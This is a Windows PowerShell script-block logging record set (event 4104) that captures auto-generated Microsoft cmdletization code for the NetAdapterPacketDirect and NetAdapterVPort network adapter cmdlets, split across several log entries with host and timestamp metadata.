[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Disable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterPacketDirect.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Disable-NetAdapterPacketDirect' -Alias '*'
ScriptBlock ID: 7b119e88-7722-4bd0-8c57-7d177d0ae25e
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1883 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0004-d728-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 2):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetAdapterPacketDirectSettingData'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetAdapterPacketDirect
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterPacketDirectSettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterPacketDirect.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetAdapterPacketDirect' -Alias '*'
function Set-NetAdapterPacketDirect
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterPacketDirectSettingData')]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterPacketDirectSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName', ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='ByInstanceID', ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='InputObject (cdxml)', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[bool]
${Enabled},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[uint32]
${DomainId},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Enabled')) {
[object]$__cmdletization_value = ${Enabled}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DomainId')) {
[object]$__cmdletization_value = ${DomainId}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DomainId'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DomainId'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:ModifyInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterPacketDirect.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-NetAdapterPacketDirect' -Alias '*'
function Enable-NetAdapterPacketDirect
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterPacketDirectSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
ScriptBlock ID: 7b119e88-7722-4bd0-8c57-7d177d0ae25e
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1882 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0004-d728-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetAdapterVPortSettingData'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetAdapterVPort
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterVPortSettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('Id')]
[ValidateNotNull()]
[uint32[]]
${VPortID},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[ValidateNotNull()]
[uint32[]]
${SwitchID},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('VfID')]
[ValidateNotNull()]
[uint16[]]
${FunctionID},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('PF')]
[switch]
${PhysicalFunction},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('VPortID') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${VPortID})
$__cmdletization_queryBuilder.FilterByProperty('VPortID', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('SwitchID') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${SwitchID})
$__cmdletization_queryBuilder.FilterByProperty('SwitchID', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('FunctionID') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${FunctionID})
$__cmdletization_queryBuilder.FilterByProperty('FunctionID', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('PhysicalFunction') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('PhysicalFunction', ${PhysicalFunction})
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterVPort.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetAdapterVPort' -Alias '*'
ScriptBlock ID: a6119cce-5443-4c63-b084-1eb6164fc8f9
